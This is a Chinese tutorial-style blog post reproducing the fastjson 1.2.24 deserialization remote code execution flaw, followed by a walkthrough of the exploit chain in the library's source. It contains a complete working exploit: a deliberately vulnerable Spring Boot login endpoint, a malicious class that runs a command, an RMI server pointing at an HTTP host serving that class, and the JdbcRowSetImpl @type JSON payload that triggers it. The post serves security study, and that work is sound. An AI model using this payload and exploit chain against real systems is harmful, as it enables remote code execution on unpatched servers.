fastjson-1.2.24漏洞复现

文章目录

  • 0x01 前言
  • 0x02 环境
  • 0x03漏洞复现
    • 环境准备
  • 0x04 漏洞分析
    • 利用链源码分析
  • 0x05 总结
  • 0x06 可能遇到的坑

0x01 前言

影响版本 fastjson <= 1.2.24

本文出于学习fastjson漏洞的目的,为了能更好的复现漏洞,需要有以下前置知识。

  1. springboot
  2. fastjson
  3. jndi+rmi

jdk版本限制

  1. rmi:<= 6u132,7u122,8u113
  2. ldap:<= 6u211,7u201,8u191,11.0.1

原因:高版本JDK在RMI和LDAP的trustURLCodebase做了限制,从默认允许远程加载ObjectFactory变成了不允许。

0x02 环境

fastjson version:1.2.24

springboot version:2.7.7

jdk version:8u112

0x03漏洞复现

环境准备

  1. 新建一个springboot项目

  2. 引入web和fastjson依赖

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
    
    <dependency>
    	<groupId>org.springframework.boot</groupId>
    	<artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    
  3. 编写漏洞代码

    //新建一个controller,然后写个模拟登录的接口
    package com.hmg.fastjson.controller;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RequestBody;
    import org.springframework.web.bind.annotation.RestController;
    
    
    @RestController
    public class TestController {
    
        @PostMapping("/login")
        public String login(@RequestBody String jsonData) {
            //这里使用parse和parseObject都是一样的
            Object parse = JSON.parse(jsonData);
            System.out.println(parse.toString());
    
            return "login success";
        }
    }
    
  4. 漏洞利用

    1. 编写exp并且使用python开启一个http服务

      //这里有个需要注意的点,就是不需要包名(package name)
      public class DeserializationShell {
          static {
              try {
                  Runtime.getRuntime().exec("calc");
              } catch (Exception e) {
                  throw new RuntimeException(e);
              }
      	}
      }
      
      //把DeserializationShell类使用javac命令编译成class文件,然后在这个class文件目录下使用python启动一个http服务
      //python http命令:python -m http.server 8888 --bind 192.168.10.126 (cmd运行此命令,注意:一定要在class文件目录下)
      
    2. 使用rmi手法进行攻击(ldap也可以,这里使用rmi进行演示)

      //编写rmi server并启动
      package org.example.test12;
      
      import com.sun.jndi.rmi.registry.ReferenceWrapper;
      
      import javax.naming.Reference;
      import java.rmi.registry.LocateRegistry;
      import java.rmi.registry.Registry;
      
      public class RMIServer {
          public static void main(String[] args) throws Exception {
              String url = "http://192.168.10.126:8888/";
              Registry registry = LocateRegistry.createRegistry(1099);
              Reference reference = new Reference("DeserializationShell", "DeserializationShell", url);
              ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
              registry.bind("DeserializationShell",referenceWrapper);
              System.out.println("running...");
          }
      }
      
    3. 构造payload(这里采用JdbcRowSetImpl来复现,也可以采用其它类来进行构造payload,例如TemplateImpl)

    #使用接口测试工具或hackbar或burp suite来进行漏洞利用
    #payload如下:
    {
       "@type": "com.sun.rowset.JdbcRowSetImpl",
      	"dataSourceName": "rmi://192.168.10.126:1099/DeserializationShell",
      	"autoCommit": true
    }
    
  5. 成功rce

image-20240701231055757

0x04 漏洞分析

fastjson1.2.24在解析json过程中支持使用autoType来实例化类,并会调用get/set方法来访问属性,这样就可以构造恶意的利用链。这么说可能有点抽象,我们来具体分析下利用链源码。

利用链源码分析

image-20240701231149469

  1. 获取token

    image-20240701233528030

    从图中我们可以看到,它先是匹配了第一个字符,如果是’{'开始的,就指向下一个字符并且赋值token。(LBRACE = 12、LBRACKET = 14)

    image-20240701233935278

  2. 解析json对象

    image-20240701234554509

    因为我们token是LBRACE,所以我们跟进parseObject方法

    image-20240701234702863

    1. 先解析@type,解析到@type之后就进行loadClass

      image-20240702002936594

      解析到@type后继续往下走

      image-20240702003355868

      继续往下走,会看到deserialze方法

      image-20240702004953997

    2. 然后查找匹配字段,找不到就从符号表加载,找到之后就调用该字段的set方法

      com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze

      在这里检测匹配参数

      image-20240704142035213

      如果没有匹配参数,那么就从符号表找

      image-20240704142225831

      进入parseField方法

      image-20240704142512047

      获取字段反序列化器进行解析字段

      image-20240704142948310

      1. 解析参数值

      2. 反射调用该字段set方法

        image-20240704143401310

        反射调用,给JdbcRowSetImpl类的DataSourceName设置rmi地址

        image-20240704143535404

    3. 当调用到setAutoCommit时,在setAutoCommit里调用到connect方法,然后connect里会采用jndi的lookup方法,这就可以配合rmi进行恶意类攻击

image-20240704143930734

image-20240704144146667

lookup方法调用之后就造成了rce

0x05 总结

看完利用链分析后,我们来总结一下,整体来说就是fastjson是根据@type来进行反序列化类并且没有做任何限制,允许指定@type来反序列化任意类,所以导致了反序列化漏洞。

0x06 可能遇到的坑

1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource

原因:是因为jdk版本限制问题,解决方法就是使用前面说的版本即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/784258.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

nginx配置反向代理-CSDN

客户需求 1、实现通过域名访问税金的发票服务&#xff08;路径格式要求&#xff1a;https://www.xxx.com&#xff09; nginx的部署 前提 1、客户在局域网内已实现通过https://ip:port/stms访问税金平台 2、客户已获取https的SSL证书 3、客户申请的外网ip和域名已绑定 部署…

LeetCode——第 405 场周赛

题目 找出加密后的字符串 给你一个字符串 s 和一个整数 k。请你使用以下算法加密字符串&#xff1a; 对于字符串 s 中的每个字符 c&#xff0c;用字符串中 c 后面的第 k 个字符替换 c&#xff08;以循环方式&#xff09;。 返回加密后的字符串。 示例 1&#xff1a; 输入&…

Visual Studio Code 教程 VsCode安装Live Server以服务形式打开html

搜索Live Server 插件,然后安装 选一个html文件&#xff0c;右键点击 Open with live server,然后就自动弹出来了

最优化方法 运筹学【】

1.无约束 常用公式 线搜索准则&#xff1a;求步长 精确线搜索&#xff08;argmin&#xff09; 最速下降&#xff1a;sd&#xff1a;线性收敛 2.算法 SD dk&#xff1a;付梯度-g newton dk&#xff1a;Gkd-g 二阶收敛&#xff0c;步长为1 阻尼牛顿&#xff1a;步长用先搜…

数据分析与挖掘实战案例-电商产品评论数据情感分析

数据分析与挖掘实战案例-电商产品评论数据情感分析 文章目录 数据分析与挖掘实战案例-电商产品评论数据情感分析1. 背景与挖掘目标2. 分析方法与过程2.1 评论预处理1. 评论去重2. 数据清洗 2.2 评论分词1. 分词、词性标注、去除停用词2. 提取含名词的评论3. 绘制词云查看分词效…

Linux dig命令常见用法

Linux dig命令常见用法 一、dig安装二、dig用法 DIG命令(Domain Information Groper命令)是常用的域名查询工具&#xff0c;通过此命令&#xff0c;你可以实现域名查询和域名问题的定位&#xff0c;对于网络管理员和在域名系统(DNS)领域工作的小伙伴来说&#xff0c;它是一个非…

Linux中的粘滞位及mysql日期函数

只要用户具有目录的写权限, 用户就可以删除目录中的文件, 而不论这个用户是否有这个文件的写 权限. 为了解决这个不科学的问题, Linux引入了粘滞位的概念. 粘滞位 当一个目录被设置为"粘滞位"(用chmod t),则该目录下的文件只能由 一、超级管理员删除 二、该目录…

汇川CodeSysPLC教程 Modbus变量编址

线圈&#xff1a;位变量&#xff0c;只有两种状态0和1。汇川PLC中包含Q区及SM区等变量。 寄存器&#xff1a;16位&#xff08;字&#xff09;变量&#xff0c;本PLC中包含M区及SD区等变量 说明&#xff1a; 汇川HMI的专用协议使用不同功能码&#xff1a;在访问SM时&#xff0c…

基于Java+SpringMvc+Vue技术的实验室管理系统设计与实现(6000字以上论文参考)

博主介绍&#xff1a;硕士研究生&#xff0c;专注于信息化技术领域开发与管理&#xff0c;会使用java、标准c/c等开发语言&#xff0c;以及毕业项目实战✌ 从事基于java BS架构、CS架构、c/c 编程工作近16年&#xff0c;拥有近12年的管理工作经验&#xff0c;拥有较丰富的技术架…

使用AI学习英语

使用AI学英语可以通过与智能AI对话、模拟对话场景、提供即时反馈和个性化学习计划等方式提高学习效率和效果。然而&#xff0c;AI技术也存在局限性&#xff0c;如缺乏情感交流和真实语境&#xff0c;需要与真人教师结合使用。 AI学英语的基本原理和应用 AI的基本原理 AI&…

人工智能概论 | 基于A*算法的8数码问题求解

大学四年的全部课程和考试都已经结束啦&#xff01; 最近闲来无事&#xff0c;随便发发自己的实验报告&#xff0c;供后面的学弟学妹们参考~ 目录 实验1 基于A*算法的8数码问题求解 1.1 程序总体流程 1.2 关键代码展示 1.3 输出结果展示及分析 1.3.1 总步数展示 1.…

Python编程学习笔记(1)--- 变量和简单数据类型

1、变量 在学习编程语言之前&#xff0c;所接触的第一个程序&#xff0c;绝大多数都是&#xff1a; print("Hello world!") 接下来尝试使用一个变量。在代码中的开头添加一行代码&#xff0c;并对第二行代码进行修改&#xff0c;如下&#xff1a; message "…

云计算【第一阶段(27)】DHCP原理与配置以及FTP的介绍

一、DHCP工作原理 1.1、DHCP概念 动态主机配置协议 DHCP&#xff08;Dynamic Host Configuration Protocol&#xff0c;动态主机配置协议&#xff0c;该协议允许服务器向客户端动态分配 IP 地址和配置信息。 DHCP协议支持C/S&#xff08;客户端/服务器&#xff09;结构&…

c++之命名空间详解(namespace)

引例 在学习之前我们首先了来看这样一个情形: 在c语言下&#xff0c;我们写了两个头文件&#xff1a;链表和顺序表的。我们会定义一个type(typedef int type)方便改变数据类型&#xff08;比如将int改成char&#xff09;&#xff0c;来做到整体代换。 但是我们两个头文件里面…

C# 实现基于exe内嵌HTTPS监听服务、从HTTP升级到HTTPS 后端windows服务

由于客户需要把原有HTTP后端服务升级为支持https的服务&#xff0c;因为原有的HTTP服务是一个基于WINDOWS服务内嵌HTTP监听服务实现的&#xff0c;并不支持https, 也不像其他IIS中部署的WebAPI服务那样直接加载HTTPS证书&#xff0c;所以这里需要修改原服务支持https和服务器环…

JavaScript中,正则表达式所涉及的api,解析、实例和总结

JS中正则的api包括以下&#xff1a; String#searchString#splitString#matchString#replaceRegExp#testRegExp#exec 1. String#search 查找输入串中第一个匹配正则的index&#xff0c;如果没有匹配的则返回-1。g修饰符对结果无影响 var string "abbbcbc"; var r…

iperf3: error - unable to connect to server: No route to host

1.确认iperf3版本是否统一。 2.确认防火墙是否关闭。 关闭防火墙 : systemctl stop firewalld 查看防火墙状态: systemctl status firewalld 3.重新建起链接

(三)前端javascript中的数据结构之集合

集合的特点 1.无序 2.唯一性 3.不可重复 集合相对于前面几种数据结构&#xff0c;比较简单好理解&#xff0c;看看代码实现就能知道他的用法了 集合的创建 function MySet() {this.item {}; } MySet.prototype.has function (value) {return value in this.item; };//增 M…

Java-链表中倒数最后k个结点

题目&#xff1a; 输入一个长度为 n 的链表&#xff0c;设链表中的元素的值为 ai &#xff0c;返回该链表中倒数第k个节点。 如果该链表长度小于k&#xff0c;请返回一个长度为 0 的链表。 数据范围&#xff1a;0≤&#x1d45b;≤1050≤n≤105&#xff0c;0≤&#x1d44e;…

c#字符串常用方法

目录 1.字符串的处理常用方法 1.1 Format 1.2 IsNullOrEmpty和IsNullOrWhiteSpace 1.3 Equals 1.4 Contains 1.5 Length 1.6 Substring 1.7 IndexOf和LastIndexOf 1.8 ​​​​​​​StartsWith 和 EndsWith 1.9 ​​​​​​​Remove 1.10 ​​​​​​​Revserse…